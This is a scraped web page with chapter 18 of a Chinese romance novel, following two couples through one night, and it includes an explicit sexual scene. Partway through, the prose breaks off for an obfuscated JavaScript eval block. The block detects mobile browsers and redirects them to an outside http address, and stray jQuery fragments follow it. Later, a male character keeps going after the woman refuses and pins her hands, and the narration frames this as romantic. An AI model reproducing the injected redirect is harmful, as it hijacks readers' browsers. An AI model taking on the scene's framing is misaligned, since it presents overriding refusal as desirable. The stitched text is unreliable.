18. 18

作品:《双向式爱恋

    直至最后,方梨扛不住醉酒带来的睡意,没等来他一句解释便昏昏沉沉歪在椅背上睡着。早已熟睡的方梨自然没想到,在她睡后,陆闻舟倚靠在车头抽了将近一个小时的烟。


    陆闻舟并不嗜烟酒,只是平时烦躁之际才会抽一两根。到最后一根,他只是点燃夹在指尖。


    男人身上穿着一件黑色高领毛衣,寒风凛冽,吹着他面色发白,或许只有在刺骨寒冷的情况下,大脑才格外清醒,更好的思考问题。


    此时此刻,他歪着脑袋站着,额前漆黑的碎发被细雨蒙蒙浸湿。平静淡漠眸光落在副驾驶熟睡中的方梨身上,眼皮下塌,周身不太明亮的灯光致使看不清他的神情。


    脑海中不断浮现方梨前不久对他所说的话。


    “那你告诉我,白天与夜晚,到底哪个才是真正的你?


    “还是说,哪个都是你。平时逗弄我,只不过是无聊中的情趣?”


    “陆闻舟,我们都是成年人,做事光明磊落不是什么丢人的事。你不喜欢我,可以直接告诉我,我这辈子也不是非你不可。如果当初结婚不是你意有所愿,现在离婚也来得及。”


    “当初我问过你为什么要与我结婚,你回答的是你喜欢我。可是陆闻舟,你的这句‘你喜欢我’在我这里已经没有任何可信度了。”


    “趁现在我跟你结婚还没什么人知道,离婚吧,对谁都好。”


    在他的固有思维里,被家里宠着长大的女生,不说性格傲娇爱面子,但起码也不会这般随心所欲。


    他们之间的婚姻,在领证当天便有了合作接触。对比很多家庭,钱财权利要比个人幸福重要得多,至少不会随意提出离婚二字。


    可方梨却说出来了,并且没有任何犹豫。


    但他们的婚姻维持到现在,还没满一个月。


    指尖的烟燃烧殆尽,陆闻舟没有急着上车,在外边吹了几分钟寒风才坐进驾驶座。回到九华园时已经凌晨一点,他下车时也没有叫醒她,直接抱着她走了进去。


    上了二楼,陆闻舟顺脚拐进左边的房间,可脚刚轻踢开房门时,身形骤然一顿,转身进入另外一间卧室。


    陆闻舟将方梨轻轻放到床上,如藻潮般的头发散开在床上,漆黑如墨的长发映得她的肌肤格外白,如雪一般。


    他在床边驻足,目光定格在她身上,修身的里衣勾勒出她纤细的腰肢。眼神暗了暗,感觉有一股邪念正在不受控制的从心口处猛然窜出来。


    他想抱她、想亲她、想将她揉进自己骨子里。


    动作也随着心理不断变化而有所改变。


    陆闻舟单膝抵在她两膝之间,双手撑在她身侧。他没有立即将人抱住,而且撑着身体,用眼神细细打量着她的精致漂亮的五官,似是要将这张脸深深刻入自己脑海,只要随意一想便会出现她的容颜。


    视线下移,落在她微微凸起的锁骨上,细挑而又精致,每一处都恰到好处的漂亮。


    脑海中顿时出现一个念头——


    这里要是戴条项链,肯定很美。


    本以为自己只要看看她就能克制自己那龌龊不堪的念头。可事实却是,哪有那么容易。


    他还是低估了方梨对他的诱惑力。


    所以,陆闻舟还是遵从内心最深处的念头,附身靠近。可距离一寸之间,他还是停下动作,目光在她殷红处上停留许久。只要他稍稍往下,便能触碰到他心心念念的唇瓣。


    “白天与夜晚,到底哪个才是真正的你?”


    脑海中猝然响起这道声音,与之一同出现的便是方梨那张淡漠平静的面容,眸中透着淡淡的忧郁。


    一霎那,欲望终究还是被理智压制。


    陆闻舟能算是落魄般撑起繁重的身体,艰难咽了咽喉,强行让自己目光转移,尽量不让自己注意力停留在她身上。他借用余光脱掉她身上的大衣与鞋袜,最后将人往被中一塞。


    他替她盖好被子,随即便蹲在床边,抬手揉开她蹙紧的眉梢。也是这一刻想起刚刚脑海中不断突现的问题——


    “白天与夜晚,到底哪个才是真正的你?”


    他不知道方梨为什么会问出这个问题,可事出有因,她也不可能会无缘无故问出这种问题,想必,自己是真的做出令她伤心的事情。


    可对此,陆闻舟即便是想破脑袋,都无法回忆起自己究竟做了什么。


    怅惘与困惑将他拉入无尽深渊。不知过了多久,他才有所顿悟般回答,可念头一出,连他自己都满腹疑团。


    “白天与夜晚,或许都是我。”


    陆闻舟话音一顿,眼皮轻垂,掩下眸中难辨的情绪,声音低哑,“只要你知道,现在的陆闻舟是真的很喜欢你,至死不渝。”


    这便是他的回答,研精覃思的结果。


    临走前,他轻轻摸了摸她的小脸。然后转过身,头也不回地走了出去。


    —


    凌晨后的夜晚,寒风携夹着绵绵细雨而来。南理市高档小区内,向卿裹着小被子靠在床头盯着落地窗外无边夜色。房间内一片漆黑,独留窗外月光照亮室内。


    按平时,这是向卿最爱的时刻,从高楼上空俯瞰城市的光怪陆离和车水马龙,最后伴随着夜色入睡。


    而此刻,她转眸看向坐在床尾赤裸着上半身,犹如‘思考者’的男人。他腿上覆盖着毛毯,未着寸缕,身材精瘦健壮,腹肌线条性感而紧致。


    他微弯着腰,背对着向卿,看不出任何神情。


    可向卿知道他为何如此萎靡不振,可如此下去也不是个事,她扯近被子上脚踹了踹他。见他扭头朝她看来,她笑着安慰他:“第一次都这样,你那么沮丧干什么?”


    禾数回过头没再看她,继续低头沉默。


    向卿抿唇,几秒后又继续安慰:“其实大多男人都这样,又不是你一个人这样。虽然也有极少部分天赋异禀的,但咱们也能理解男人中的普遍性。”


    见他仍沉默不语。


    “而且你不是也前提告诉我你自己不行嘛,我都带你回家了,那自然也不会嫌你。第一次而已,以后再接再厉就好了。你没有天赋,但你可以努力啊!”向卿不断安慰他,同时也在默默安慰自己。


    一个二十二岁懵懂无知的少年,经验尚少,动作青涩也很正常。


    许是见他如此颓废的模样,看样子真被这次打击到了,向卿也没再执着继续安慰。沉默几秒继续开口:“要不你挪挪屁股?你坐到我被子了。”


    男人充耳未闻,依旧沉默坐在原地没动。向卿很是理解叹了口气,没再纠结,翻身扯过被子盖住自己。


    其实她也没想到,自己在酒吧随意说的一句‘那不就是不行’。此时却一语成谶,竟真关键时候乌鸦嘴成真。


    向卿在心里腹诽,以后找男人,坚决不能随便胡说八道了。虽然她也是第一次约男人,可偏偏这么出师不利。


    还记得两人一开始回到家,急迫得险


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101639|162861||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    些要将对方衣服撕扯开。


    可一切发生得太过突然,结束得也很突然。


    她除了疼得厉害没有半点别的感觉,自己好歹看了这么多年的小说,真怀疑作者在写这方面是不是胡说八道的!


    怎么小说剧情中男女之事如此愉悦,可她却除了疼,对此事没有一丝想再来一次的冲动。


    向卿裹紧小被子无声叹息,闭眼前最后偷瞄坐在床尾犹如雕塑的男人。心想,该不会真被打击到,最后一蹶不振了吧?


    那她可是头号大恶人,毕竟是她扬言要睡对方的,最后被把人害得快抑郁了。


    然而她以为险要抑郁的禾数,正盯着手机不断浏览关于这门事的知识,甚至都点开各种关于人体器官的知识进行探究。


    看了渐近半小时的生物知识,他才终于大彻大悟。原来自己刚刚做的都是埋头靠着生理反应冲动造成的后果。


    虽然刚刚听着向卿那一系列的话,宛如把他的男性尊严狠狠羞辱了一通。但只要他还在这,自证尊严的机会还是有的。


    毕竟听着她刚刚那语气,似乎还有些意犹未尽。


    于是他手机一关,丢在床尾。站起身盯着躺在床上闭眼休憩的向卿,如豺狼般的眸色紧紧盯着她,下一秒便钻进她的被窝将人压在身下。


    向卿刚来的一丝睡意被他这么一打搅顿时被赶跑,睁着睡意朦胧的眼睛,半阖着看他,问:“怎么了?”


    禾数低垂眉眼,略带凉意的手掌落在她腹部上,低着声音道:“来证明自己。”


    向卿被他手掌凉得一颤。听到他这话,前不久他带来的疼痛好似再次席卷而来般,瞬间包裹她全身。


    回想起那时的疼痛,向卿身子陡然一颤,害怕似的抬手推搡起面前的男人,抗拒道:“我不要!太疼了。”


    禾数握紧她抵触自己的手,包裹在掌心。黝黑的眸子满是对方的面容,看得出她体验第一次吃了不少苦。但他知道,如果这次真放过她,过了今天,他就真没机会了。


    向卿从小就没心没肺,可偏偏人长得漂亮,邻里邻居的小孩大多都爱黏着她。可她总能因为一丁点理由便就不再与对方来往,用完就丢是她的惯用伎俩。


    他知道,向卿现在对他感兴趣,可经过刚刚那次,明天便又与他当成陌生人。


    所以,放过谁都不能放过她。


    禾数没理会她的抗拒,身形高大颀长的男人虚靠在她身上,身影刚好将她笼罩住。


    见他真要来,向卿娴熟的开始大哭大闹起来。闹腾好一会,可眼角的眼泪却丝毫看不到一滴,甚至连眼角都没见一丝湿色。


    禾数没在意她的撒泼打滚,眸光直勾勾盯着她一合一开的红唇上,盯着几秒主动问:“可以亲你吗?”


    “不……”行。


    不等来她的拒绝,禾数便桎梏她的双手压着她头顶,俯首吻下来。他的吻攻势猛烈到近乎野蛮,有力的舌头伸挑进来,不给她半点躲避与退缩的空间,霸道地擒住她的舌,卷咂着含进嘴里缠绵。


    或许禾数其他方面因为生疏而有缺陷。但接吻,他却天赋异禀,轻轻松松将人吻得浑身瘫软,甚至连呼吸也被他带动起来。


    吻到情深之处,向卿没再抗拒,主动揽住他的脖颈,丝毫没注意到松开她束缚的那只手正缓慢下移。


    身体各部位被他娴熟带动情绪,浑身热潮湿润。他的指尖轻柔,勾得她每一处战战兢兢,颤得不能控制理智。